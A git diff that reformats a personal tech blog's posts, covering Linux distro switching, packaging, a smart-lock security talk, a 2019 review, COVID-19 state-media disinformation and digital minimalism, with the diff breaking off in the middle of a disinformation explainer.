--- -date: '2019-09-27' +template: text.html +title: Weekly status update, 09/17–09/27 subtitle: Alpine Linux shenaningans and more -template: text.html -title: 'Weekly status update, 09/17--09/27' -url: '2019-09-27' +date: 2019-09-27 +url: 2019-09-27 --- -It's a lazy Friday afternoon here; yet another off day this week thanks -to my uni's fest. My last "weekly" update was 10 days ago, and a lot has -happened since then. Let's get right into it! +It's a lazy Friday afternoon here; yet another off day this week thanks to my +uni's fest. My last "weekly" update was 10 days ago, and a lot has happened +since then. Let's get right into it! -My switch to Alpine -------------------- +## My switch to Alpine -Previously, I ran Debian with Buster/Sid repos, and ever since this -happened +Previously, I ran Debian with Buster/Sid repos, and ever since this happened -``` {.shell} +```shell $ dpkg --list | wc -l 3817@@ -25,60 +23,52 @@ ```
I've been wanting to reduce my system's package count. -Thus, I began my search for a smaller, simpler and lighter distro with a -fairly sane package manager. I did come across Dylan Araps' [KISS -Linux](https://getkiss.org) project, but it seemed a little too hands-on -for me (and still relatively new). I finally settled on [Alpine -Linux](https://alpinelinux.org). According to their website: +Thus, I began my search for a smaller, simpler and lighter distro with a fairly +sane package manager. I did come across Dylan Araps' +[KISS Linux](https://getkiss.org) project, but it seemed a little too hands-on +for me (and still relatively new). I finally settled on +[Alpine Linux](https://alpinelinux.org). According to their website: -> Alpine Linux is a security-oriented, lightweight Linux distribution -> based on musl libc and busybox. +> Alpine Linux is a security-oriented, lightweight Linux distribution based +> on musl libc and busybox. -The installation was a breeze, and I was quite surprised to see WiFi -working OOTB. In the past week of my using this distro, the only major -hassle I faced was getting my Minecraft launcher to run. The JRE isn't -fully ported to `musl` yet.[^1] The solution to that is fairly trivial -and I plan to write about it soon. (hint: it involves chroots) +The installation was a breeze, and I was quite surprised to see WiFi working +OOTB. In the past week of my using this distro, the only major hassle I faced +was getting my Minecraft launcher to run. The JRE isn't fully ported to `musl` +yet.[^1] The solution to that is fairly trivial and I plan to write about it +soon. (hint: it involves chroots)  -Packaging for Alpine --------------------- +## Packaging for Alpine -On a related note, I've been busy packaging some of the stuff I use for -Alpine -- you can see my personal -[aports](https://github.com/icyphox/aports) repository if you're -interested. I'm currently working on packaging Nim too, so keep an eye -out for that in the coming week. +On a related note, I've been busy packaging some of the stuff I use for Alpine +-- you can see my personal [aports](https://github.com/icyphox/aports) +repository if you're interested. I'm currently working on packaging Nim too, so +keep an eye out for that in the coming week. -Talk selection at PyCon India! ------------------------------- +## Talk selection at PyCon India! -Yes! My buddy Raghav ([@_vologue](https://twitter.com/\_vologue)) and I -are going to be speaking at PyCon India about our recent smart lock -security research. The conference is happening in Chennai, much to our -convenience. If you're attending too, hit me up on Twitter and we can -hang! +Yes! My buddy Raghav ([@_vologue](https://twitter.com/_vologue)) and I are +going to be speaking at PyCon India about our recent smart lock security +research. The conference is happening in Chennai, much to our convenience. +If you're attending too, hit me up on Twitter and we can hang! -Other ------ +## Other -That essentially sums up the *technical* stuff that I did. My Russian is -going strong, my reading however, hasn't. I have *yet* to finish those -books! This week, for sure. +That essentially sums up the _technical_ stuff that I did. My Russian is going +strong, my reading however, hasn't. I have _yet_ to finish those books! This +week, for sure. -Musically, I've been experimenting. I tried a bit of hip-hop and -chilltrap, and I think I like it? I still find myself coming back to -metalcore/deathcore. Here's a list of artists I discovered (and liked) -recently: +Musically, I've been experimenting. I tried a bit of hip-hop and chilltrap, and +I think I like it? I still find myself coming back to metalcore/deathcore. +Here's a list of artists I discovered (and liked) recently: -- [Before I Turn](https://www.youtube.com/watch?v=r3uKGwcwGWA) -- 生 Conform 死 (couldn't find any official YouTube video, check - Spotify) -- [Treehouse Burning](https://www.youtube.com/watch?v=66eFK1ttdC4) -- [Lee McKinney](https://www.youtube.com/watch?v=m-w3XM2PwOY) -- [Berried Alive](https://www.youtube.com/watch?v=cUibXK7F3PM) - (rediscovered) +- [Before I Turn](https://www.youtube.com/watch?v=r3uKGwcwGWA) +- 生 Conform 死 (couldn't find any official YouTube video, check Spotify) +- [Treehouse Burning](https://www.youtube.com/watch?v=66eFK1ttdC4) +- [Lee McKinney](https://www.youtube.com/watch?v=m-w3XM2PwOY) +- [Berried Alive](https://www.youtube.com/watch?v=cUibXK7F3PM) (rediscovered) That's it for now, I'll see you next week!
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pages/txt/2019-10-17.txt
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pages/txt/2019-10-17.txt
@@ -1,19 +1,19 @@
--- -date: '2019-10-16' -subtitle: 'Not weekly anymore, but was it ever?' +template: title: Status update -url: '2019-10-16' +subtitle: Not weekly anymore, but was it ever? +date: 2019-10-16 +url: 2019-10-16 --- I've decided to drop the "Weekly" part of the status update posts, since -they were never weekly and---let's be honest---they aren't going to be. +they were never weekly and -- let's be honest---they aren't going to be. These posts are, henceforth, just "Status updates". The date range can be inferred from the post date. That said, here's what I've been up to! -Void Linux ----------- +## Void Linux Yes, I decided to ditch Alpine in favor of Void. Alpine was great, really. The very comfy `apk`, ultra mnml system... but having to@@ -21,21 +21,18 @@ maintain a chroot for my glibc needs was getting way too painful. And
the package updates are so slow! Heck, they're still on kernel 4.xx on their supposed "bleeding" `edge` repo. -So yes, Void Linux it is. Still a very clean system. I'm loving it. I -also undervolted my system using -[`undervolt`](https://github.com/georgewhewell/undervolt) (-95 mV). -Can't say for sure if there's a noticeable difference in battery life -though. I'll see if I can run some tests. +So yes, Void Linux it is. Still a very clean system. I'm loving it. +I also undervolted my system using [`undervolt`](https://github.com/georgewhewell/undervolt) +(-95 mV). Can't say for sure if there's a noticeable difference in +battery life though. I'll see if I can run some tests. -This *should* be the end of my distro hopping. Hopefully. +This _should_ be the end of my distro hopping. Hopefully. -PyCon ------ +## PyCon Yeah yeah, enough already. Read [my previous post](/blog/pycon-wrap-up). -This website ------------- +## This website I've moved out of GitHub Pages over to Netlify. This isn't my first time using Netlify, though. I used to host my old blog which ran Hugo, there.@@ -43,7 +40,7 @@ I was tired of doing this terrible hack to maintain a single repo for
both my source (`master`) and deploy (`gh-pages`). In essence, here's what I did: -``` {.shell} +```shell #!/usr/bin/env bash git push origin master@@ -52,25 +49,22 @@ git subtree push --prefix build origin gh-pages
``` I can now simply push to `master`, and Netlify generates a build for me -by installing [vite](https://github.com/icyphox/vite), and running -`vite build`. Very pleasant. +by installing [vite](https://github.com/icyphox/vite), and running `vite +build`. Very pleasant. -`mnmlwm`'s status ------------------ +## `mnmlwm`'s status -[mnmlwm](https://github.com/minimalwm/minimal), for those unaware, is my -pet project which aims to be a simple window manager written in Nim. I'd -taken a break from it for a while because Xlib is such a pain to work -with (or I'm just dense). Anyway, I'm planning on getting back to it, -with some fresh inspiration from Dylan Araps' -[sowm](https://github.com/dylanaraps/sowm). +[mnmlwm](https://github.com/minimalwm/minimal), for those unaware, is my pet project which aims to be a simple +window manager written in Nim. I'd taken a break from it for a while +because Xlib is such a pain to work with (or I'm just dense). Anyway, +I'm planning on getting back to it, with some fresh inspiration from +Dylan Araps' [sowm](https://github.com/dylanaraps/sowm). -Other ------ +## Other -I've been reading a lot of manga lately. Finished *Kekkon Yubiwa -Monogatari* (till the latest chapter) and *Another*, and I've just -started *Kakegurui*. I'll reserve my opinions for when I update the +I've been reading a lot of manga lately. Finished _Kekkon Yubiwa +Monogatari_ (till the latest chapter) and _Another_, and I've just +started _Kakegurui_. I'll reserve my opinions for when I update the [reading log](/reading). -That's about it, and I'll see you---definitely not next week. +That's about it, and I'll see you -- definitely not next week.
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pages/txt/2019-11-16.txt
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pages/txt/2019-11-16.txt
@@ -1,46 +1,42 @@
--- -date: '2019-11-16' -subtitle: 'Exams, stuff, etc.' +template: title: Status update -url: '2019-11-16' +subtitle: Exams, stuff, etc. +date: 2019-11-16 +url: 2019-11-16 --- This month is mostly just unfun stuff, lined up in a neat schedule -- exams. I get all these cool ideas for things to do, and it's always during exams. Anyway, here's a quick update on what I've been up to. -Blog post queue ---------------- +## Blog post queue I realized that I could use this site's -[repo](https://github.com/icyphox/site)'s issues to track blog post -ideas. I've made a few, mostly just porting them over from my Google -Keep note. +[repo](https://github.com/icyphox/site)'s issues to track blog post ideas. +I've made a few, mostly just porting them over from my Google Keep note. This method of using issues is great, because readers can chime in with -ideas for things I could possibly discuss---like in [this +ideas for things I could possibly discuss -- like in [this issue](https://github.com/icyphox/site/issues/10). -Contemplating a `vite` rewrite ------------------------------- +## Contemplating a `vite` rewrite -[`vite`](https://github.com/icyphox/vite), despite what the name -suggests -- is awfully slow. Also, Python is bloat. Will rewriting it -fix that? That's what I plan to find out. I have a couple of choices of -languages to use in the rewrite: +[`vite`](https://github.com/icyphox/vite), despite what the name suggests +-- is awfully slow. Also, Python is bloat. +Will rewriting it fix that? That's what I plan to find out. I have +a couple of choices of languages to use in the rewrite: -- C: Fast, compiled. Except I suck at it. (`cite`?) -- Nim: My favourite, but I'll have to write bindings to - [`lowdown(1)`](https://github.com/kristapsdz/lowdown). (`nite`?) -- Shell: Another favourite, muh "minimalsm". No downside, really. - (`shite`?) +- C: Fast, compiled. Except I suck at it. (`cite`?) +- Nim: My favourite, but I'll have to write bindings to [`lowdown(1)`](https://github.com/kristapsdz/lowdown). (`nite`?) +- Shell: Another favourite, muh "minimalsm". No downside, really. + (`shite`?) -Oh, and did I mention---I want it to be compatible with `vite`. I don't -want to have to redo my site structure or its templates. At the moment, -I rely on Jinja2 for templating, so I'll need something similar. +Oh, and did I mention -- I want it to be compatible with `vite`. +I don't want to have to redo my site structure or its templates. At the +moment, I rely on Jinja2 for templating, so I'll need something similar. -IRC bot -------- +## IRC bot My earlier post on [IRC for DMs](/blog/irc-for-dms) got quite a bit of traction, which was pretty cool. I didn't really talk much about the bot@@ -50,31 +46,28 @@
Fairly simple Python code, using plain sockets. So far, we've got a few basic features in place: -- `.np` command: queries the user's last.fm to get the currently - playing track -- Fetches the URL title, when a URL is sent in chat +- `.np` command: queries the user's last.fm to get the currently playing +track +- Fetches the URL title, when a URL is sent in chat That's it, really. I plan to add a `.nps`, or "now playing Spotify" command, since we share Spotify links pretty often. -Other ------ +## Other I've been reading some more manga, I'll update the [reading log](/reading) when I, well... get around to it. Haven't had time to do -much in the past few weeks---the time at the end of a semester tends to -get pretty tight. Here's what I plan to get back to during this winter -break: +much in the past few weeks -- the time at the end of a semester tends to +get pretty tight. Here's what I plan to get back to during this winter break: -- Russian! -- Window manager in Nim -- `vite` rewrite, probably -- The other blog posts in queue +- Russian! +- Window manager in Nim +- `vite` rewrite, probably +- The other blog posts in queue I've also put off doing any "security work" for a while now, perhaps that'll change this December. Or whenever. -With that ends my status update, on all things that I *haven't* done. +With that ends my status update, on all things that I _haven't_ done. -[^1]: https://knowyourmeme.com/memes/dedotated-wam (dead meme, yes I - know) +[^1]: https://knowyourmeme.com/memes/dedotated-wam (dead meme, yes I know)
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pages/txt/2019-in-review.txt
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pages/txt/2019-in-review.txt
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--- -date: '2020-01-02' +template: +title: 2019 in review subtitle: A look back at last year -title: 2019 in review -url: '2019-in-review' +date: 2020-01-02 +url: 2019-in-review --- -Just landed in a rainy Chennai, back in campus for my 6th semester. A -little late to the "year in review blog post" party; travel took up most -of my time. Last year was pretty eventful (at least in my books), and I -think I did a bunch of cool stuff---let's see! +Just landed in a rainy Chennai, back in campus for my 6th semester. +A little late to the "year in review blog post" party; travel took up +most of my time. Last year was pretty eventful (at least in my books), +and I think I did a bunch of cool stuff -- let's see! -Interning at SecureLayer7 -------------------------- +## Interning at SecureLayer7 -Last summer, I interned at [SecureLayer7](https://securelayer7.net), a -security consulting firm in Pune, India. My work was mostly in hardware -and embededded security research. I learnt a ton about ARM and MIPS -reversing and exploitation, UART and JTAG, firmware RE and enterprise -IoT security. +Last summer, I interned at [SecureLayer7](https://securelayer7.net), +a security consulting firm in Pune, India. My work was mostly in +hardware and embededded security research. I learnt a ton about ARM and +MIPS reversing and exploitation, UART and JTAG, firmware RE and +enterprise IoT security. I also earned my first CVE! I've written about it in detail [here](/blog/fb50). -Conferences ------------ +## Conferences -I attended two major conferences last year---Nullcon Goa and PyCon +I attended two major conferences last year -- Nullcon Goa and PyCon India. Both super fun experiences and I met a ton of cool people! -[Nullcon Twitter -thread](https://twitter.com/icyphox/status/1101022604851212288) and -[PyCon blog post](/blog/pycon-wrap-up). +[Nullcon Twitter thread](https://twitter.com/icyphox/status/1101022604851212288) +and [PyCon blog post](/blog/pycon-wrap-up). -Talks ------ +## Talks I gave two talks last year: -1. *Intro to Reverse Engineering* at Cyware 2019 -2. *"Smart lock? Nah dude."* at PyCon India +1. *Intro to Reverse Engineering* at Cyware 2019 +2. *"Smart lock? Nah dude."* at PyCon India -Things I made -------------- +## Things I made Not in order, because I CBA: -- [repl](https://github.com/icyphox/repl): More of a quick bash hack, - I don't really use it. -- [pw](https://github.com/icyphox/pw): A password manager. This, I - actually do use. I've even written a tiny [`dmenu` - wrapper](https://github.com/icyphox/dotfiles/blob/master/bin/pwmenu.sh) - for it. -- [twsh](https://github.com/icyphox/twsh): An incomplete twtxt client, - in bash. I have yet to get around to finishing it. -- [alpine ports](https://github.com/icyphox/alpine): My APKBUILDs for - Alpine. -- [detotated](https://github.com/icyphox/detotated): An IRC bot - written in Python. See [IRC for DMs](/blog/irc-for-dms). -- [icyrc](https://github.com/icyphox/icyrc): A no bullshit IRC client, - because WeeChat is bloat. +- [repl](https://github.com/icyphox/repl): More of a quick bash hack, + I don't really use it. +- [pw](https://github.com/icyphox/pw): A password manager. This, + I actually do use. I've even written a tiny + [`dmenu` wrapper](https://github.com/icyphox/dotfiles/blob/master/bin/pwmenu.sh) + for it. +- [twsh](https://github.com/icyphox/twsh): An incomplete twtxt client, + in bash. I have yet to get around to finishing it. +- [alpine ports](https://github.com/icyphox/alpine): My APKBUILDs for + Alpine. +- [detotated](https://github.com/icyphox/detotated): An IRC bot written + in Python. See [IRC for DMs](/blog/irc-for-dms). +- [icyrc](https://github.com/icyphox/icyrc): A no bullshit IRC client, + because WeeChat is bloat. I probably missed something, but whatever. -Blog posts ----------- +## Blog posts - $ ls -1 pages/blog/*.md | wc -l - 20 +``` +$ ls -1 pages/blog/*.md | wc -l +20 +``` So excluding today's post, and `_index.md`, that's 18 posts! I had initially planned to write one post a month, but hey, this is great. My -plan for 2020 is to write one post a *week*---unrealistic, I know, but I -will try nevertheless. +plan for 2020 is to write one post a _week_ -- unrealistic, I know, but +I will try nevertheless. I wrote about a bunch of things, ranging from programming to -return-oriented-programming (heh), sysadmin and security stuff, and a -hint of culture and philosophy. Nice! +return-oriented-programming (heh), sysadmin and security stuff, and +a hint of culture and philosophy. Nice! -The [Python for Reverse Engineering](/blog/python-for-re-1) post got a -ton of attention on the interwebz, so that was cool. +The [Python for Reverse Engineering](/blog/python-for-re-1) post got +a ton of attention on the interwebz, so that was cool. -Bye 2019 --------- +## Bye 2019 2019 was super productive! (in my terms). I learnt a lot of new things last year, and I can only hope to learn as much in 2020. :)
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pages/txt/2020-01-18.txt
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pages/txt/2020-01-18.txt
@@ -1,32 +1,31 @@
--- -date: '2020-01-18' -subtitle: 'New year...new stuff?' +template: title: Status update -url: '2020-01-18' +subtitle: New year…new stuff? +date: 2020-01-18 +url: 2020-01-18 --- It's only been a two weeks since I got back to campus, and we've -*already* got our first round of cycle tests starting this Tuesday. +_already_ got our first round of cycle tests starting this Tuesday. Granted, I returned a week late, but...that's nuts! We're two whole weeks into 2020; I should've been working on something status update worthy, right? Not really, but we'll see. -No more Cloudflare! -------------------- +## No more Cloudflare! -Yep. If you weren't aware---pre-2020 this site was behind Cloudflare SSL -and their DNS. I have since migrated off it to [he.net](https://he.net), -thanks to highly upvoted Lobste.rs comment. Because of this switch, I -infact, learnt a ton about DNS. +Yep. If you weren't aware -- pre-2020 this site was behind Cloudflare +SSL and their DNS. I have since migrated off it to +[he.net](https://he.net), thanks to highly upvoted Lobste.rs comment. +Because of this switch, I infact, learnt a ton about DNS. Migrating to HE was very painless, but I did have to research a lot -about PTR records---Cloudflare kinda dumbs it down. In my case, I had to +about PTR records -- Cloudflare kinda dumbs it down. In my case, I had to rename my DigitalOcean VPS instance to the FQDN, which then automagically created a PTR record at DO's end. -I dropped icyrc ---------------- +## I dropped icyrc The IRC client I was working on during the end of last December--early-January? Yeah, I lost interest. Apparently writing C and@@ -35,38 +34,34 @@
This also means I'm back on weechat. Until I find another client that plays well with ZNC, that is. -KISS stuff ----------- +## KISS stuff -I now maintain two new packages in the KISS community repository---2bwm -and aerc! The KISS package system is stupid simple to work with. -Creating packages has never been easier. +I now maintain two new packages in the KISS community repository -- 2bwm +and aerc! The KISS package system is stupid simple to work with. Creating +packages has never been easier. -[icyphox.sh/friends](/friends) ------------------------------- +## [icyphox.sh/friends](/friends) Did you notice that yet? I've been curating a list of people I know IRL and online, and linking to their online presence. This is like a webring -of sorts, and promotes inter-site traffic---making the web more "web" +of sorts, and promotes inter-site traffic -- making the web more "web" again. If you know me, feel free to [hit me up](/about#contact) and I'll link your site too! My apologies if I've forgotten your name. -Patreon! --------- +## Patreon! -Is this big news? I dunno, but yes---I now have a Patreon. I figured I'd +Is this big news? I dunno, but yes -- I now have a Patreon. I figured I'd cash in on the newfound traffic my site's been getting. There won't be any exclusive content or any tiers or whatever. Nothing will change. -Just a place for y'all to toss me some \$\$\$ if you wish to do so. ;) +Just a place for y'all to toss me some $$$ if you wish to do so. ;) Oh, and it's at [patreon.com/icyphox](https://patreon.com/icyphox). -Misc. ------ +## Misc. -The Stormlight Archive is likely the *best* epic I have ever read till +The Stormlight Archive is likely the _best_ epic I have ever read till date. I'm still not done yet; about 500 odd pages to go as of this writing. But wow, Brandon really does know how to build worlds and magic systems. I cannot wait to read all about the
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pages/txt/covid19-disinfo.txt
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pages/txt/covid19-disinfo.txt
@@ -1,55 +1,57 @@
--- -date: '2020-03-15' +template: +url: covid19-disinfo +title: COVID-19 disinformation subtitle: A lot of actors cashing in on the epidemic -title: 'COVID-19 disinformation' -url: 'covid19-disinfo' +date: 2020-03-15 --- The virus spreads around the world, along with a bunch of disinformation and potential malware / phishing campaigns. There are many actors, -pushing many narratives---some similar, some different. +pushing many narratives -- some similar, some different. Interestingly, the three big players in the information warfare -space---Russia, Iran and China seem to be running similar stories on +space -- Russia, Iran and China seem to be running similar stories on their state-backed media outlets. While they all tend to lean towards -the same, fairly anti-U.S. sentiments---that is, blaming the US for -weaponizing the crisis for political gain---Iran and Russia's content -come off as more...conspiratorial. In essence, they claim that the -COVID-19 virus is a "bioweapon" developed by the U.S. +the same, fairly anti-U.S. sentiments -- that is, blaming the US for +weaponizing the crisis for political gain -- Iran and Russia's content +come off as more...conspiratorial. +In essence, they claim that the COVID-19 virus is a "bioweapon" +developed by the U.S. -Russian news agency [RT -tweeted](https://twitter.com/RT_com/status/1233187558793924608): +Russian news agency +[RT tweeted](https://twitter.com/RT_com/status/1233187558793924608): -> Show of hands, who isn't going to be surprised if it ever gets -> revealed that \#coronavirus is a bioweapon? +> Show of hands, who isn't going to be surprised if it ever gets +> revealed that #coronavirus is a bioweapon? -RT also published [an -article](https://www.rt.com/usa/481485-coronavirus-russia-state-department/) -mocking the U.S. for concerns over Russian disinformation. Another -article by RT, [an -op-ed](https://www.rt.com/op-ed/481831-coronavirus-kill-bill-capitalism-communism/) +RT also published +[an article](https://www.rt.com/usa/481485-coronavirus-russia-state-department/) +mocking the U.S. for concerns over Russian disinformation. +Another article by RT, +[an op-ed](https://www.rt.com/op-ed/481831-coronavirus-kill-bill-capitalism-communism/) suggests the virus' impact on financial markets might bring about the reinvention of communism and the end of the global capitalist system. Russian state-sponsored media can also be seen amplifying Iranian -conspiracy theories---including the Islamic Revolutionary Guard Corps' -(IRGC) suggestion that COVID-19 [is a U.S. -bioweapon](https://www.rt.com/news/482405-iran-coronavirus-us-biological-weapon/). +conspiracy theories -- including the Islamic Revolutionary Guard Corps' +(IRGC) suggestion that COVID-19 +[is a U.S. bioweapon](https://www.rt.com/news/482405-iran-coronavirus-us-biological-weapon/). Iranian media outlets appear to be running stories having similar -themese, as well. Here's one [by -PressTV](https://www.presstv.com/Detail/2020/03/05/620217/US-coronavirus-James-Henry-Fetzer), -where they very boldly claim that the virus was developed by the U.S. -and/or Isreal, to use as a bioweapon against Iran. Another [nonsensical -piece](https://www.presstv.com/Detail/2020/03/05/620213/Coronavirus-was-produced-in-a-laboratory) -by PressTV suggests that "there are components of the virus that are -related to HIV that could not have occurred naturally". The same article -pushes another theory: +themese, as well. Here's one +[by PressTV](https://www.presstv.com/Detail/2020/03/05/620217/US-coronavirus-James-Henry-Fetzer), +where they very boldly claim that the virus was developed by +the U.S. and/or Isreal, to use as a bioweapon against Iran. Another +[nonsensical piece](https://www.presstv.com/Detail/2020/03/05/620213/Coronavirus-was-produced-in-a-laboratory) +by PressTV suggests that +"there are components of the virus that are related to HIV that could not have occurred naturally". +The same article pushes another theory: > There has been some speculation that as the Trump Administration has > been constantly raising the issue of growing Chinese global > competitiveness as a direct threat to American national security and > economic dominance, it might be possible that Washington has created -> and unleashed the virus in a bid to bring Beijing's growing economy +> and unleashed the virus in a bid to bring Beijing’s growing economy > and military might down a few notches. It is, to be sure, hard to > believe that even the Trump White House would do something so > reckless, but there are precedents for that type of behavior@@ -61,28 +63,26 @@ coronavirus, but they're quite distinct in comparison to Russian and
Iranian media. The general theme behind Chinese narratives is critisizing the West for...a lot of things. -Global Times claims that [democracy is an insufficient -system](http://www.globaltimes.cn/content/1178494.shtml) to battle the -coronavirus. They [blame the -U.S.](http://www.globaltimes.cn/content/1178494.shtml) for unfair media -coverage against China, and other [anti-China -narratives](http://www.globaltimes.cn/content/1180630.shtml). There are -a ton other articles that play the racism/discrimination card---I -wouldn't blame them though. [Here's -one](http://www.globaltimes.cn/content/1178465.shtml). +Global Times claims that +[democracy is an insufficient system](http://www.globaltimes.cn/content/1178494.shtml) +to battle the coronavirus. They [blame the U.S.](http://www.globaltimes.cn/content/1178494.shtml) +for unfair media coverage against China, and other [anti-China +narratives](http://www.globaltimes.cn/content/1180630.shtml). +There are a ton other articles that play the racism/discrimination +card -- I wouldn't blame them though. [Here's one](http://www.globaltimes.cn/content/1178465.shtml). In the case of India, most disinfo (actually, misinfo) is mostly just pseudoscientific / alternative medicine / cures in the form of WhatsApp -forwards---"Eat foo! Eat bar!".[^1] +forwards -- "Eat foo! Eat bar!".[^cowpiss] -I've also been noticing a *ton* of COVID-19 / coronavirus related domain +[^cowpiss]: https://www.thehindu.com/news/national/coronavirus-group-hosts-cow-urine-party-says-covid-19-due-to-meat-eaters/article31070516.ece + +I've also been noticing a _ton_ of COVID-19 / coronavirus related domain registrations happening. Expect phishing and malware campaigns using the -virus as a theme. In the past 24 hrs, \~450 `.com` domains alone were +virus as a theme. In the past 24 hrs, ~450 `.com` domains alone were registered.  -Anywho, there are bigger problems at hand---like the fact that my uni +Anywho, there are bigger problems at hand -- like the fact that my uni still hasn't suspended classes! - -[^1]: https://www.thehindu.com/news/national/coronavirus-group-hosts-cow-urine-party-says-covid-19-due-to-meat-eaters/article31070516.ece
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pages/txt/digital-minimalism.txt
→
pages/txt/digital-minimalism.txt
@@ -1,46 +1,46 @@
--- -date: '2019-10-05' -subtitle: 'Put that screen down!' -title: Thoughts on digital minimalism -url: 'digital-minimalism' +template: +title: Thoughts on digital minimalism +subtitle: Put that screen down! +date: 2019-10-05 +url: digital-minimalism --- Ah yes, yet another article on the internet on this beaten to death -subject. But this is inherently different, since it's *my* opinion on -the matter, and *my* technique(s) to achieve "digital minimalism". +subject. But this is inherently different, since it's _my_ opinion on +the matter, and _my_ technique(s) to achieve "digital minimalism". -According to me, minimalism can be achieved on two primary fronts -- the -phone & the computer. Let's start with the phone. The daily carry. The -device that's on our person from when we get out of bed, till we get +According to me, minimalism can be achieved on two primary fronts -- +the phone & the computer. Let's start with the phone. The daily carry. +The device that's on our person from when we get out of bed, till we get back in bed. -The phone ---------- +## The phone I've read about a lot of methods people employ to curb their phone usage. Some have tried grouping "distracting" apps into a separate folder, and this supposedly helps reduce their usage. Now, I fail to see -how this would work, but YMMV. Another technique I see often is using a -time governance app---like OnePlus' Zen Mode---to enforce how much time -you spend using specific apps, or the phone itself. I've tried this for -myself, but I constantly found myself counting down the minutes after -which the phone would become usable again. Not helpful. +how this would work, but YMMV. Another technique I see often is using +a time governance app -- like OnePlus' Zen Mode---to enforce how much +time you spend using specific apps, or the phone itself. I've tried this +for myself, but I constantly found myself counting down the minutes +after which the phone would become usable again. Not helpful. My solution to this is a lot more brutal. I straight up uninstalled the apps that I found myself using too often. There's a simple principle -behind it---if the app has a desktop alternative, like Twitter, Reddit, -etc. use that instead. Here's a list of apps that got nuked from my -phone: +behind it -- if the app has a desktop alternative, like Twitter, +Reddit, etc. use that instead. Here's a list of apps that got nuked from +my phone: -- Twitter -- Instagram (an exception, no desktop client) -- Relay for Reddit -- YouTube (disabled, ships with stock OOS) +* Twitter +* Instagram (an exception, no desktop client) +* Relay for Reddit +* YouTube (disabled, ships with stock OOS) -The only non-productive app that I've let remain is Clover, a 4chan -client. I didn't find myself using it as much earlier, but we'll see how -that holds up. I've also allowed my personal messaging apps to remain, -since removing those would be inconveniencing others. +The only non-productive app that I've let remain is Clover, +a 4chan client. I didn't find myself using it as much earlier, but we'll see how that +holds up. I've also allowed my personal messaging apps to remain, since +removing those would be inconveniencing others. I must admit, I often find myself reaching for my phone out of habit just to check Twitter, only to find that its gone. I also subconsciously@@ -48,20 +48,19 @@ tap the place where its icon used to exist (now replaced with my mail
client) on my launcher. The only "fun" thing left on my phone to do is read or listen to music. Which is okay, in my opinion. -The computer ------------- +## The computer I didn't do anything too nutty here, and most of the minimalism is -mostly aesthetic. I like UIs that get out of the way. +mostly aesthetic. I like UIs that get out of the way. My setup right now is just a simple bar at the top showing the time, date, current volume and battery %, along with my workspace indicators. No fancy colors, no flashy buttons and sliders. And that's it. I don't -try to force myself to not use stuff---after all, I've reduced it +try to force myself to not use stuff -- after all, I've reduced it elsewhere. :) Now the question arises: Is this just a phase, or will I stick to it? What's going to stop me from heading over to the Play Store and installing those apps back? Well, I never said this was going to be -easy. There's definitely some will power needed to pull this off. I -guess time will tell. +easy. There's definitely some will power needed to pull this off. +I guess time will tell.
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pages/txt/disinfo.txt
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pages/txt/disinfo.txt
@@ -1,208 +1,161 @@
--- -date: '2019-09-10' -subtitle: 'Misinformation, but deliberate' template: text.html title: Disinformation demystified +subtitle: Misinformation, but deliberate +date: 2019-09-10 url: disinfo --- -As with the disambiguation of any word, let's start with its etymology -and definiton. According to -[Wikipedia](https://en.wikipedia.org/wiki/Disinformation), -*disinformation* has been borrowed from the Russian word --- -*dezinformatisya* (дезинформа́ция), derived from the title of a KGB black -propaganda department. +As with the disambiguation of any word, let's start with its etymology and definiton. +According to [Wikipedia](https://en.wikipedia.org/wiki/Disinformation), +_disinformation_ has been borrowed from the Russian word -- _dezinformatisya_ (дезинформа́ция), +derived from the title of a KGB black propaganda department. > Disinformation is false information spread deliberately to deceive. -To fully understand disinformation, especially in the modern age, we -need to understand the key factors of any successful disinformation -operation: +To fully understand disinformation, especially in the modern age, we need to understand the +key factors of any successful disinformation operation: -- creating disinformation (what) -- the motivation behind the op, or its end goal (why) -- the medium used to disperse the falsified information (how) -- the actor (who) +- creating disinformation (what) +- the motivation behind the op, or its end goal (why) +- the medium used to disperse the falsified information (how) +- the actor (who) -At the end, we'll also look at how you can use disinformation techniques -to maintain OPSEC. +At the end, we'll also look at how you can use disinformation techniques to maintain OPSEC. -In order to break monotony, I will also be using the terms "information -operation", or the shortened forms---"info op" & "disinfo". +In order to break monotony, I will also be using the terms "information operation", or the shortened +forms -- "info op" & "disinfo". -Creating disinformation ------------------------ +## Creating disinformation -Crafting or creating disinformation is by no means a trivial task. -Often, the quality of any disinformation sample is a huge indicator of -the level of sophistication of the actor involved, i.e. is it a 12 year -old troll or a nation state? +Crafting or creating disinformation is by no means a trivial task. Often, the quality +of any disinformation sample is a huge indicator of the level of sophistication of the +actor involved, i.e. is it a 12 year old troll or a nation state? -Well crafted disinformation always has one primary characteristic --- -"plausibility". The disinfo must sound reasonable. It must induce the -notion it's *likely* true. To achieve this, the target --- be it an -individual, a specific demographic or an entire nation --- must be well -researched. A deep understanding of the target's culture, history, -geography and psychology is required. It also needs circumstantial and -situational awareness, of the target. +Well crafted disinformation always has one primary characteristic -- "plausibility". +The disinfo must sound reasonable. It must induce the notion it's _likely_ true. +To achieve this, the target -- be it an individual, a specific demographic or an entire +nation -- must be well researched. A deep understanding of the target's culture, history, +geography and psychology is required. It also needs circumstantial and situational awareness, +of the target. -There are many forms of disinformation. A few common ones are staged -videos / photographs, recontextualized videos / photographs, blog posts, -news articles & most recently --- deepfakes. +There are many forms of disinformation. A few common ones are staged videos / photographs, +recontextualized videos / photographs, blog posts, news articles & most recently -- deepfakes. -Here's a tweet from [the grugq](https://twitter.com/thegrugq), showing a -case of recontextualized imagery: +Here's a tweet from [the grugq](https://twitter.com/thegrugq), showing a case of recontextualized +imagery: -```{=html} <blockquote class="twitter-tweet" data-dnt="true" data-theme="dark" data-link-color="#00ffff"> -``` -```{=html} -<p lang="en" dir="ltr"> -``` -Disinformation. `<br>`{=html}`<br>`{=html} The content of the photo is -not fake. The reality of what it captured is fake. The context it's -placed in is fake. The picture itself is 100% authentic. Everything, -except the photo itself, is fake. -`<br>`{=html}`<br>`{=html}Recontextualisation as threat vector. -`<a href="https://t.co/Pko3f0xkXC">`{=html}pic.twitter.com/Pko3f0xkXC`</a>`{=html} -```{=html} -</p> -``` ---- thaddeus e. grugq (@thegrugq) -`<a href="https://twitter.com/thegrugq/status/1142759819020890113?ref_src=twsrc%5Etfw">`{=html}June -23, 2019`</a>`{=html} -```{=html} +<p lang="en" dir="ltr">Disinformation. +<br><br> +The content of the photo is not fake. The reality of what it captured is fake. The context it’s placed in is fake. The picture itself is 100% authentic. Everything, except the photo itself, 